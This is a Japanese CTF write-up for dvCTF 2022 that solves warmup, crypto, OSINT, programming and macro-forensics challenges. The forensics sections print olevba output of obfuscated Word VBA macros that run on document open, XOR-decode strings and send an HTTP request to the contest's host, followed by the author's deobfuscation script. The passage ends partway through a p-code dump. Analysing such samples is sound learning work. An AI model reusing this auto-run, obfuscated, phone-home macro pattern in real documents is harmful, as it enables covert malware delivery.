この大会は2022/3/12 1:00(JST)~2022/3/14 1:00(JST)に開催されました。
今回もチームで参戦。結果は5632点で725チーム中16位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Warmup)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
dvCTF{4nd_n0w_w3_f149}
FrenchFlag (Warmup)
$ exiftool flag.png ExifTool Version Number : 10.80 File Name : flag.png Directory : . File Size : 3.3 kB File Modification Date/Time : 2022:03:12 04:46:11+09:00 File Access Date/Time : 2022:03:12 04:48:15+09:00 File Inode Change Date/Time : 2022:03:12 04:46:11+09:00 File Permissions : rwxrwxrwx File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1280 Image Height : 853 Bit Depth : 4 Color Type : Palette Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Gamma : 2.2 White Point X : 0.3127 White Point Y : 0.329 Red X : 0.64 Red Y : 0.33 Green X : 0.3 Green Y : 0.6 Blue X : 0.15 Blue Y : 0.06 Palette : (Binary data 15 bytes, use -b option to extract) Background Color : 2 Modify Date : 2022:01:25 05:04:23 Datecreate : 2022-01-25T05:04:23+00:00 Datemodify : 2022-01-25T05:04:23+00:00 XMP Toolkit : Image::ExifTool 12.40 Creator : dvCTF{flagception} Image Size : 1280x853 Megapixels : 1.1
Creatorにフラグが設定されていた。
dvCTF{flagception}
EBG13 (Warmup)
シーザー暗号と推測して、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
ROT13 dvCTF{3ncRypt1on_1s_e4sy}
dvCTF{3ncRypt1on_1s_e4sy}
QmFzZTY0 (Warmup)
繰り返しbase64でエンコードされているようなので、繰り返しデコードする。
#!/usr/bin/env python3 import base64 with open('file.txt', 'r') as f: data = f.read() while True: data = base64.b64decode(data) if data.startswith(b'dvCTF{'): break flag = data.decode() print(flag)
dvCTF{Base64_Is_The_Best}
RSA (Warmup)
phiがわかっているので、そのまま復号する。しかしフラグ文字列にならない。数値を文字にするときに10進数文字列で途中で切りながら文字にしていく。
#!/usr/bin/env python3 from Crypto.Util.number import * n = 0x7CD1020889B4382BE84B3F14EAAE242755CC1BD56F431B348F4FF8F207A96F41AFCF3EBDF4C17CB6537AD4B01B9FF9497763B22D013B614C8FCDB0C34F9D88F1A523013791EDFEB1FBBA160799892C118892FB7F199C9957DF5A26DAB4D776E5226F06ACD05412F6DD2B1B75D24CE9DC2DDAC513BCB96CD9B97F9BEF8543A3A1 phi = 0x7CD1020889B4382BE84B3F14EAAE242755CC1BD56F431B348F4FF8F207A96F41AFCF3EBDF4C17CB6537AD4B01B9FF9497763B22D013B614C8FCDB0C34F9D88F037D2317D3864035ECE8BCDD458711B788B5B3FDFD5164F7D736D0A56F416E8C16126E3868D73F54AF4D61F6033E069994319C849460C60A725A0F4DD97EDCC84 e = 0x10001 ct = 0x268D7D5F5593EA30F536635B58585620B51D2D143AFE4734635C259278D61413D0C89678E81EDF466B1E45E27EBF802F62F61263E499A516465163C7CB668F94258B3424C3E2BD76634923DECD670E4B6034F8FD00C76F9DAD00A72DB22B70B9408C89FCEE4C9B0D2D4B5664284328711BFAD57FBE1EDCC0854AAD57390DCAD6 d = inverse(e, phi) m = str(pow(ct, d, n)) flag = '' tmp_code = '' for i in range(len(m)): code = int(tmp_code + m[i]) if code > 31 and code < 127: flag += chr(code) tmp_code = '' else: tmp_code += m[i] print(flag)
dvCTF{fl4g_cVpH3rt3Xt_bV_RS4}
Monkeey (OSINT)
画像検索で調べると、いくつも結果が出てくる。その中に以下のページがあった。
https://pygmylorisreid.wordpress.com/2013/02/14/happy-valentines-day-testicle-size-and-mating-systems/
さらにこの猿の像の場所が必要なので、以下のキーワードで調べる。
bonobo monkey large testicles statue city
またいくつも結果が出て、例えば以下のページに場所は「MILOS FORMAN SQUARE」であると書いてある。
https://www.sculptureline.cz/en/prague-2019/king-kong-balls.188
この場所について調べると、都市はプラハであることが分かった。
dvCTF{prague}
TicTacToe (Programming)
$ nc challs.dvc.tf 6666 Welcome to my TicTacToe game ! Will you be able to beat me 100 times in a row ? Format your answer like so : "row_number column_number" -------------------------------------------------- - - - - O - - - - 1 1 X - O - O - - - - 3 1 X - O O O - X - - 2 3 X - O O O X X O - 1 2 Match Draw! You're still at 0/250 - O - - - - - - -
https://jtwp470.hatenablog.jp/category/CTF?page=1462294297を参考にプログラムする。
#!/usr/bin/env python3 import socket import itertools def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def read_board(ttt_board): board = [] for s in ttt_board.split('\n')[:-1]: c = s.split(' ')[:-1] for v in c: board.append(v) return board def is_win(board, my_hand): for pos in lines: for ps in itertools.permutations(pos): p = board[ps[0]] if p == '-' and board[ps[1]] == my_hand and board[ps[2]] == my_hand: return ps[0] return -1 def is_finish(board, my_hand): for line in lines: finish = True for c in line: if board[c] != my_hand: finish = False break if finish: return True return False def decide_pos(board, my_hand): if my_hand == 'X': enemy_hand = 'O' else: enemy_hand = 'X' p = is_win(board, my_hand) if p >= 0: return p p = is_win(board, enemy_hand) if p >= 0: return p if board[4] == '-': return 4 corner = (0, 2, 6, 8) for c in corner: if board[c] == '-': return c for c in range(9): if board[c] == '-': return c return None lines = ( (0, 1, 2), (3, 4, 5), (6, 7, 8), (0, 3, 6), (1, 4, 7), (2, 5, 8), (2, 4, 6), (0, 4, 8)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.dvc.tf', 6666)) data = recvuntil(s, b'----\n').rstrip() print(data) my_hand = 'X' finish = False while True: while True: data = '' data += recvuntil(s, b'\n') if 'Match Draw!' in data: print(data, end='') break for _ in range(2): data += recvuntil(s, b'\n') print(data, end='') board = read_board(data) if is_finish(board, my_hand): data = recvuntil(s, b'\n').rstrip() print(data) if '250/250' in data: finish = True data = recvuntil(s, b'\n').rstrip() print(data) break x = decide_pos(board, my_hand) x = str(x // 3 + 1) + ' ' + str(x % 3 + 1) print(x) s.sendall(x.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if finish: break data = recvuntil(s, b'\n').rstrip() print(data)
強いプログラムではないが、何回も試したら成功した。
: - - - - - - O - - 2 2 - O - - X - O - - 1 1 X O - - X - O O - 3 3 X O - - X - O O X Well done ! 248/250 - - - - - - - - - 2 2 - - - O X - - - - 1 1 X - - O X O - - - 3 3 X - - O X O - - X Well done ! 249/250 - - - - - O - - - 2 2 - - - - X O O - - 1 1 X - - - X O O - O 3 2 X O - - X O O X O 1 3 Match Draw! You're still at 249/250 - - - - - - - - - 2 2 - - - - X O - - - 1 1 X O - - X O - - - 3 3 X O - - X O - - X Well done ! 250/250 Here is your flag : dvctf{T1ct4Ct0e_iS_2_EZ}
dvctf{T1ct4Ct0e_iS_2_EZ}
Very Bad Script (Forensics)
$ olevba verybadscript.doc olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools =============================================================================== FILE: verybadscript.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: verybadscript.doc - OLE stream: 'Macros/VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub Document_Open() If ActiveDocument.Variables("zVaxnp").Value <> "macro" Then ztGluzOKzaOlZpTdBZVgQCRtzyOaeDuWLKulUkmaEjiTmCnyNcqxhVWxLlEKucnWJwpgEtGgTsFuOkaTrwZpmiFtWtkepihWaiIbQjBJjUvBwodXoePjTcXpcesPtcYwTBleYsFjBazrZGspYztyTdFLBSlvrEemGfmqbVNKruWHppzlvsqnxTkUhfoUMiUyTdakqEVgLvdQInWvnspKpPDbEcVDpzymtUVxGlsdNzQcpORxYEPMOeFhtxOQIDU ActiveDocument.Variables("zVaxnp").Value = "macro" If ActiveDocument.ReadOnly = False Then ActiveDocument.Save End If End If End Sub ------------------------------------------------------------------------------- VBA MACRO gdxVWYH.vba in file: verybadscript.doc - OLE stream: 'Macros/VBA/gdxVWYH' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Function rqprqqaChQ(JdZBLxfsgm As Variant, ijkAhTEpgy As Integer) Dim eqeTpqsPjF, polGerrvbS As String, tYZWGzIYUS, UXUrCHGOOq polGerrvbS = ActiveDocument.Variables("zVaxnp").Value() eqeTpqsPjF = "" tYZWGzIYUS = 1 While tYZWGzIYUS < UBound(JdZBLxfsgm) + 2 UXUrCHGOOq = tYZWGzIYUS Mod Len(polGerrvbS): If UXUrCHGOOq = 0 Then UXUrCHGOOq = Len(polGerrvbS) eqeTpqsPjF = eqeTpqsPjF + Chr(Asc(Mid(polGerrvbS, UXUrCHGOOq + ijkAhTEpgy, 1)) Xor CInt(JdZBLxfsgm(tYZWGzIYUS - 1))) tYZWGzIYUS = tYZWGzIYUS + 1 Wend rqprqqaChQ = eqeTpqsPjF End Function Public Function ztGluzOKzaOlZpTdBZVgQCRtzyOaeDuWLKulUkmaEjiTmCnyNcqxhVWxLlEKucnWJwpgEtGgTsFuOkaTrwZpmiFtWtkepihWaiIbQjBJjUvBwodXoePjTcXpcesPtcYwTBleYsFjBazrZGspYztyTdFLBSlvrEemGfmqbVNKruWHppzlvsqnxTkUhfoUMiUyTdakqEVgLvdQInWvnspKpPDbEcVDpzymtUVxGlsdNzQcpORxYEPMOeFhtxOQIDU() WeXqjDhWbNzFWecvQEpcEHsERywzDtryeOYsuaQLRxHuZkzrXgTgQpTrqmRKzIeOIsPYfHULDFVLnDJikNUvhtaxzhBYjchedUNkIJAbTxkHGAfggHBqWRgRtaVstKugpmPNcNrOjfvNWVvnmEmJpZQoblrjyDzwXpcZmerewuQxRXbGtvXTfunTGwIepxkQHYFgwRbFkIVqyIOjYdKJANAPTfGRZmQFInQEgiFYkIzXCYveeNOzAVHecmuCiHL = rqprqqaChQ(Array(123, 11, 48, 89, 76, 63, 6, 59, 118, 65, 47, 104, 51, 39, 51, 27, 120, 41, 36, 50, 51, _ 44, 5, 75, 65, 36, 77, 92, 101, 55, 5, 4, 88, 2, 90, 90, 2, 104, 59, 91, 21, _ 16, 33, 13, 19, 7, 88, 54, 29, 91, 21, 62, 75), 143) MsgBox WeXqjDhWbNzFWecvQEpcEHsERywzDtryeOYsuaQLRxHuZkzrXgTgQpTrqmRKzIeOIsPYfHULDFVLnDJikNUvhtaxzhBYjchedUNkIJAbTxkHGAfggHBqWRgRtaVstKugpmPNcNrOjfvNWVvnmEmJpZQoblrjyDzwXpcZmerewuQxRXbGtvXTfunTGwIepxkQHYFgwRbFkIVqyIOjYdKJANAPTfGRZmQFInQEgiFYkIzXCYveeNOzAVHecmuCiHL buXkjpdMRmxdQVHETBBFEbLygURypPrvvycNglEuLeNHFtaRKPYBAGuRKCaJkkloyAsGBMxqZCxIUkAujUJxHBvAMAluDqTfXpSDFUHCLzsdlpyuFMFzYSHJNnCkLlmjFTrifQXjrEhJYimtbsKehELXlSCFetiGTbdiZbiwtTGZrFrawyuxCZcvwuRMSEqArVhafbuVtSwgjeAjRjvgjduripXpGQyftGVcurypciIJfijYvWLLhmPXFQdNOjN = rqprqqaChQ(Array(35, 33, 60, 17, 9, 127, 109, 17, 78, 82, 109, 64, 28, 110, 13, 105, 98, 116), 125) LzZpvZtymrFaBZrsacKpEXShFEcUVWxCqpYKnRRuvTtKqioewMQxLGIKfZkYglOnuzLjwHbOQZYhdFtoLnkpFKJLbYPptThGHgyyudlrPQpJbIcKvWQvsQptatOiUFhSmRYAkedBAKtVvMyqeqelBjefOiperoCxPaUSBrSIpKYNiYkXFsiTGaaysPFGokJUgoXpTphMezDhuHSNYWuCBVHTGhbpCVRWjizNkFDPdBJFxvxURsUrUapWrAXMBfz = rqprqqaChQ(Array(47, 39, 58, 70, 14, 80, 16, 27, 20, 75, 73, 78, 101, 14, 85, 49, 30, 15, 90, 17, 26, _ 102, 30, 33, 22, 1, 38, 63, 70, 52, 1, 41, 2, 42, 88, 9, 92, 69, 20, 23, 15, _ 56, 28, 60, 58, 79, 93, 81, 118, 28, 2, 20, 118, 95, 57, 18, 87, 19, 26, 57, 110, _ 53, 7, 5, 0, 52, 45, 31, 3, 70, 11, 99, 40, 28, 59, 119, 13, 108, 110, 4, 66, _ 40, 6, 76, 94, 98, 56, 76, 25, 64, 80, 69, 63, 71, 60), 30) Set SiJLJGdAbJbchGYfMvaDKGxdwYbvNtVlfFhrfKnSgHNUidmfUwJLFswHTqAyBTgWLVdVaqEwsgEoxvseHOfqxABjFzYtcVPRWDevTlgGbmqKqgmtdmXywJSQcQHmoEMkvZaqGgNjdKRMwToghEZDvHbNgqmfipkwdilEzgKhGjWLbqshPAzAXLKxajLVZNeeBahTVHjBtIEEyTkuleJKPBkXMjDYJzExORLNyJZnQjnPJbDlrnsYvWTyPUtXhEh = CreateObject(rqprqqaChQ(Array(26, 89, 24, 113, 51, 48, 52, 28, 14, 48, 9, 46, 53, 12, 4, 5, 8, 67, 54, 54, 27, _ 29, 123, 77, 28, 88), 4)) SiJLJGdAbJbchGYfMvaDKGxdwYbvNtVlfFhrfKnSgHNUidmfUwJLFswHTqAyBTgWLVdVaqEwsgEoxvseHOfqxABjFzYtcVPRWDevTlgGbmqKqgmtdmXywJSQcQHmoEMkvZaqGgNjdKRMwToghEZDvHbNgqmfipkwdilEzgKhGjWLbqshPAzAXLKxajLVZNeeBahTVHjBtIEEyTkuleJKPBkXMjDYJzExORLNyJZnQjnPJbDlrnsYvWTyPUtXhEh.Open rqprqqaChQ(Array(33, 23, 68, 54), 0), buXkjpdMRmxdQVHETBBFEbLygURypPrvvycNglEuLeNHFtaRKPYBAGuRKCaJkkloyAsGBMxqZCxIUkAujUJxHBvAMAluDqTfXpSDFUHCLzsdlpyuFMFzYSHJNnCkLlmjFTrifQXjrEhJYimtbsKehELXlSCFetiGTbdiZbiwtTGZrFrawyuxCZcvwuRMSEqArVhafbuVtSwgjeAjRjvgjduripXpGQyftGVcurypciIJfijYvWLLhmPXFQdNOjN, False SiJLJGdAbJbchGYfMvaDKGxdwYbvNtVlfFhrfKnSgHNUidmfUwJLFswHTqAyBTgWLVdVaqEwsgEoxvseHOfqxABjFzYtcVPRWDevTlgGbmqKqgmtdmXywJSQcQHmoEMkvZaqGgNjdKRMwToghEZDvHbNgqmfipkwdilEzgKhGjWLbqshPAzAXLKxajLVZNeeBahTVHjBtIEEyTkuleJKPBkXMjDYJzExORLNyJZnQjnPJbDlrnsYvWTyPUtXhEh.Send LzZpvZtymrFaBZrsacKpEXShFEcUVWxCqpYKnRRuvTtKqioewMQxLGIKfZkYglOnuzLjwHbOQZYhdFtoLnkpFKJLbYPptThGHgyyudlrPQpJbIcKvWQvsQptatOiUFhSmRYAkedBAKtVvMyqeqelBjefOiperoCxPaUSBrSIpKYNiYkXFsiTGaaysPFGokJUgoXpTphMezDhuHSNYWuCBVHTGhbpCVRWjizNkFDPdBJFxvxURsUrUapWrAXMBfz End Function +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |Document_Open |Runs when the Word or Publisher document is | | | |opened | |Suspicious|Open |May open a file | |Suspicious|CreateObject |May create an OLE object | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Xor |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|.Variables |May use Word Document Variables to store and | | | |hide data | +----------+--------------------+---------------------------------------------+
整形し、変数名を変更する。
Private Function rqprqqaChQ(param1 As Variant, param2 As Integer) Dim var1, var2 As String, i, j var2 = ActiveDocument.Variables("zVaxnp").Value() var1 = "" i = 1 While i < UBound(param1) + 2 j = i Mod Len(var2): If j = 0 Then j = Len(var2) var1 = var1 + Chr(Asc(Mid(var2, j + param2, 1)) Xor CInt(param1(i - 1))) i = i + 1 Wend rqprqqaChQ = var1 End Function Public Function ztGluzOKzaOlZpTdBZVgQCRtzyOaeDuWLKulUkmaEjiTmCnyNcqxhVWxLlEKucnWJwpgEtGgTsFuOkaTrwZpmiFtWtkepihWaiIbQjBJjUvBwodXoePjTcXpcesPtcYwTBleYsFjBazrZGspYztyTdFLBSlvrEemGfmqbVNKruWHppzlvsqnxTkUhfoUMiUyTdakqEVgLvdQInWvnspKpPDbEcVDpzymtUVxGlsdNzQcpORxYEPMOeFhtxOQIDU() msg = rqprqqaChQ(Array(123, 11, 48, 89, 76, 63, 6, 59, 118, 65, 47, 104, 51, 39, 51, 27, 120, 41, 36, 50, 51, _ 44, 5, 75, 65, 36, 77, 92, 101, 55, 5, 4, 88, 2, 90, 90, 2, 104, 59, 91, 21, _ 16, 33, 13, 19, 7, 88, 54, 29, 91, 21, 62, 75), 143) MsgBox msg var3 = rqprqqaChQ(Array(35, 33, 60, 17, 9, 127, 109, 17, 78, 82, 109, 64, 28, 110, 13, 105, 98, 116), 125) var4 = rqprqqaChQ(Array(47, 39, 58, 70, 14, 80, 16, 27, 20, 75, 73, 78, 101, 14, 85, 49, 30, 15, 90, 17, 26, _ 102, 30, 33, 22, 1, 38, 63, 70, 52, 1, 41, 2, 42, 88, 9, 92, 69, 20, 23, 15, _ 56, 28, 60, 58, 79, 93, 81, 118, 28, 2, 20, 118, 95, 57, 18, 87, 19, 26, 57, 110, _ 53, 7, 5, 0, 52, 45, 31, 3, 70, 11, 99, 40, 28, 59, 119, 13, 108, 110, 4, 66, _ 40, 6, 76, 94, 98, 56, 76, 25, 64, 80, 69, 63, 71, 60), 30) Set obj = CreateObject(rqprqqaChQ(Array(26, 89, 24, 113, 51, 48, 52, 28, 14, 48, 9, 46, 53, 12, 4, 5, 8, 67, 54, 54, 27, _ 29, 123, 77, 28, 88), 4)) obj.Open rqprqqaChQ(Array(33, 23, 68, 54), 0), var3, False obj.Send var4 End Function
VBAで"zVaxnp"の値を表示させる。
Qx7BM0v9GDD2YYgfAxtWm2CShiUx2ikHTazpgtf90bEGuUwk46nFlDwmJFfGuLcFxp30f7iQpYIogbVhjqV9Us03sJNQqFTrViarTSJzNBnXY5rFYy6QVxwqfqQrAKUHa3PBu81C4zT4YRE3jX8lFiNQ7JHQBVuXAEQXIajamj1EDqa9n34eHZ7y0XbfuxPt7pMjWo7Jm0btMvzatyCPbZjczioyr3RbIbZDklpZDvbZdKnjKZroMg6EzZA1y2a26IIkWpk1UA2o8Ewb1ooP9lSRLBHKVY7PL2Rvojd3pFlJO3l4uvEPJTIYNELfQCtfVcQf4oI7G3MeaxnUzkOcSkDp4zKjUbcmT431BuqP5HmJuCEa1hheMWVBBNzPVAk35gIJAroQp3DZpL8G98cKtZWoGQOC4EIKvbirgs82Wgp51zMA8IHxOyOSCe89EKvE951ZjsLhaysuCgitVwwJrltREyMEYRNhMl3IuoToxLw1r625mPtXNpnfJTt4JsrqCGFrG97PNy8AZxwR730p49XnXHx113vB6AKA69IJwXEvnvVdQ8bt8xoZU273kDBrE2QH5TbcYff4LJHBVc0uqjJbShDiSQGcoY5oRkFhJxaRpJkEWLpoQh95AnTgLuEXWHYwiDlrZNvTGTcMk8JZCKMAjofOirETYr2UtblDmbFGitPxQh94RtwWWsXHKLeSXJ3LOkP4dLLPN0EdhaEO2G9SEg5najrX8AEGwEMHFPKa9irYO7YNTdw5oq5uO33Da9maJimysnpRRABR8Cj7ksaWtrkLfuhpESVPrW5edvPIcxHqfMgnzxARgBYaB6EzmB0HQgrjJQ8tnk3OpZ0B9jLckVaeLD6EKVDG7dP5neq1YrtnA5eNycwS7G2qA8UiXjRGMgMZ6sms78AZoTIXi0QH7ck4k5Bf5lfzFeO0g7pOM4g5OOhFLKU0Xtjx57VQeHvIV8zGH9LApQJz3thu0j6BXjJtPYW4K1dwLsPy6zYTzlI4tGMclgjpXZRpJ8g
この情報を元にXORで各変数を表示させる。
#!/usr/bin/env python3 s = 'Qx7BM0v9GDD2YYgfAxtWm2CShiUx2ikHTazpgtf90bEGuUwk46nFlDwmJFfGuLcFxp30f7iQpYIogbVhjqV9Us03sJNQqFTrViarTSJzNBnXY5rFYy6QVxwqfqQrAKUHa3PBu81C4zT4YRE3jX8lFiNQ7JHQBVuXAEQXIajamj1EDqa9n34eHZ7y0XbfuxPt7pMjWo7Jm0btMvzatyCPbZjczioyr3RbIbZDklpZDvbZdKnjKZroMg6EzZA1y2a26IIkWpk1UA2o8Ewb1ooP9lSRLBHKVY7PL2Rvojd3pFlJO3l4uvEPJTIYNELfQCtfVcQf4oI7G3MeaxnUzkOcSkDp4zKjUbcmT431BuqP5HmJuCEa1hheMWVBBNzPVAk35gIJAroQp3DZpL8G98cKtZWoGQOC4EIKvbirgs82Wgp51zMA8IHxOyOSCe89EKvE951ZjsLhaysuCgitVwwJrltREyMEYRNhMl3IuoToxLw1r625mPtXNpnfJTt4JsrqCGFrG97PNy8AZxwR730p49XnXHx113vB6AKA69IJwXEvnvVdQ8bt8xoZU273kDBrE2QH5TbcYff4LJHBVc0uqjJbShDiSQGcoY5oRkFhJxaRpJkEWLpoQh95AnTgLuEXWHYwiDlrZNvTGTcMk8JZCKMAjofOirETYr2UtblDmbFGitPxQh94RtwWWsXHKLeSXJ3LOkP4dLLPN0EdhaEO2G9SEg5najrX8AEGwEMHFPKa9irYO7YNTdw5oq5uO33Da9maJimysnpRRABR8Cj7ksaWtrkLfuhpESVPrW5edvPIcxHqfMgnzxARgBYaB6EzmB0HQgrjJQ8tnk3OpZ0B9jLckVaeLD6EKVDG7dP5neq1YrtnA5eNycwS7G2qA8UiXjRGMgMZ6sms78AZoTIXi0QH7ck4k5Bf5lfzFeO0g7pOM4g5OOhFLKU0Xtjx57VQeHvIV8zGH9LApQJz3thu0j6BXjJtPYW4K1dwLsPy6zYTzlI4tGMclgjpXZRpJ8g' codes1 = [123, 11, 48, 89, 76, 63, 6, 59, 118, 65, 47, 104, 51, 39, 51, 27, 120, 41, 36, 50, 51, 44, 5, 75, 65, 36, 77, 92, 101, 55, 5, 4, 88, 2, 90, 90, 2, 104, 59, 91, 21, 16, 33, 13, 19, 7, 88, 54, 29, 91, 21, 62, 75] msg = '' for i in range(1, len(codes1) + 1): msg += chr(ord(s[i + 143 - 1]) ^ codes1[i - 1]) print('msg:', msg) codes2 = [35, 33, 60, 17, 9, 127, 109, 17, 78, 82, 109, 64, 28, 110, 13, 105, 98, 116] var3 = '' for i in range(1, len(codes2) + 1): var3 += chr(ord(s[i + 125 - 1]) ^ codes2[i - 1]) print('var3:', var3) codes3 = [47, 39, 58, 70, 14, 80, 16, 27, 20, 75, 73, 78, 101, 14, 85, 49, 30, 15, 90, 17, 26, 102, 30, 33, 22, 1, 38, 63, 70, 52, 1, 41, 2, 42, 88, 9, 92, 69, 20, 23, 15, 56, 28, 60, 58, 79, 93, 81, 118, 28, 2, 20, 118, 95, 57, 18, 87, 19, 26, 57, 110, 53, 7, 5, 0, 52, 45, 31, 3, 70, 11, 99, 40, 28, 59, 119, 13, 108, 110, 4, 66, 40, 6, 76, 94, 98, 56, 76, 25, 64, 80, 69, 63, 71, 60] var4 = '' for i in range(1, len(codes3) + 1): var4 += chr(ord(s[i + 30 - 1]) ^ codes3[i - 1]) print('var4:', var4)
msg: Haha you've been hacked! I'm stealing all your files! var3: http://dvc.tf:9001 var4: Don't worry, I didn't really steal your files :3 the flag is dvCTF{vb4_0bfu5c4710n_5h3n4n164n5}
dvCTF{vb4_0bfu5c4710n_5h3n4n164n5}
Very Bad Script 2 (Forensics)
$ olevba verybadscript2.doc olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools =============================================================================== FILE: verybadscript2.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: verybadscript2.doc - OLE stream: 'Macros/VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Function cRYtuZUDAL(dPXMywZTSX As Variant, MAVBYCghrk As Integer) Dim NvjvdTZVMt, HpTUpfdSEj As String, cktsDxDlUd, BwgOskBloQ HpTUpfdSEj = ActiveDocument.Variables("wLUKul").Value() NvjvdTZVMt = "" cktsDxDlUd = 1 While cktsDxDlUd < UBound(dPXMywZTSX) + 2 BwgOskBloQ = cktsDxDlUd Mod Len(HpTUpfdSEj): If BwgOskBloQ = 0 Then BwgOskBloQ = Len(HpTUpfdSEj) NvjvdTZVMt = NvjvdTZVMt + Chr(Asc(Mid(HpTUpfdSEj, BwgOskBloQ + MAVBYCghrk, 1)) Xor CInt(dPXMywZTSX(cktsDxDlUd - 1))) cktsDxDlUd = cktsDxDlUd + 1 Wend cRYtuZUDAL = NvjvdTZVMt End Function Public Function imFLtBarqMwKLnOeKlhTrMbUBeSVpDGIYYBapjFwEyQlxVjWfgFmgsQDJqvIjRMyxyelzdvlnpsfHPcEOGZMLJRCaVQRzRRpaBkiUpcOOTdBbpXudWeUiEBHUYJOfCgsDCPzwtyUxhYSBgPFrCKXoUcofyAGJqbyDECtfCFTPvvaKPfEtSushgGkWPRqWQCKDCGpnzYucZmsaJurXpphldCSndShZHLwFnMpufDKfAGeqgZbvTgWclrGVsewyfB() NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm = cRYtuZUDAL(Array(41, 51, 25, 44, 5, 73, 26, 62, 46, 17, 86, 87, 23, 51, 61, 16, 10, 37, 29, 26, 15, 69, 19, 92, 4, 56, 61, 21, 2, 45, 1, 33, 61, 32, 43, 59, 16, 49, 6, 82, 38, 66, 5, 13, 29, 47, 47, 19, 2, 16, 16), 0) MsgBox NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm End Function ------------------------------------------------------------------------------- VBA MACRO jmHXPwO.vba in file: verybadscript2.doc - OLE stream: 'Macros/VBA/jmHXPwO' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Function cRYtuZUDAL(dPXMywZTSX As Variant, MAVBYCghrk As Integer) Dim NvjvdTZVMt, HpTUpfdSEj As String, cktsDxDlUd, BwgOskBloQ HpTUpfdSEj = ActiveDocument.Variables("wLUKul").Value() NvjvdTZVMt = "" cktsDxDlUd = 1 While cktsDxDlUd < UBound(dPXMywZTSX) + 2 BwgOskBloQ = cktsDxDlUd Mod Len(HpTUpfdSEj): If BwgOskBloQ = 0 Then BwgOskBloQ = Len(HpTUpfdSEj) NvjvdTZVMt = NvjvdTZVMt + Chr(Asc(Mid(HpTUpfdSEj, BwgOskBloQ + MAVBYCghrk, 1)) Xor CInt(dPXMywZTSX(cktsDxDlUd - 1))) cktsDxDlUd = cktsDxDlUd + 1 Wend cRYtuZUDAL = NvjvdTZVMt End Function Public Function imFLtBarqMwKLnOeKlhTrMbUBeSVpDGIYYBapjFwEyQlxVjWfgFmgsQDJqvIjRMyxyelzdvlnpsfHPcEOGZMLJRCaVQRzRRpaBkiUpcOOTdBbpXudWeUiEBHUYJOfCgsDCPzwtyUxhYSBgPFrCKXoUcofyAGJqbyDECtfCFTPvvaKPfEtSushgGkWPRqWQCKDCGpnzYucZmsaJurXpphldCSndShZHLwFnMpufDKfAGeqgZbvTgWclrGVsewyfB() NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm = cRYtuZUDAL(Array(41, 51, 25, 44, 5, 73, 26, 62, 46, 17, 86, 87, 23, 51, 61, 16, 10, 37, 29, 26, 15, 69, 19, 92, 4, 56, 61, 21, 2, 45, 1, 33, 61, 32, 43, 59, 16, 49, 6, 82, 38, 66, 5, 13, 29, 47, 47, 19, 2, 16, 16), 0) MsgBox NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm End Function ------------------------------------------------------------------------------- VBA MACRO VBA_P-code.txt in file: VBA P-code - OLE stream: 'VBA P-code' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' Processing file: verybadscript2.doc ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 2399 bytes ' Line #0: ' FuncDefn (Sub Document_Open()) ' Line #1: ' LitStr 0x0006 "xvZCth" ' Ld ActiveDocument ' ArgsMemLd Variables 0x0001 ' MemLd Value ' LitStr 0x0005 "macro" ' Ne ' IfBlock ' Line #2: ' ArgsCall 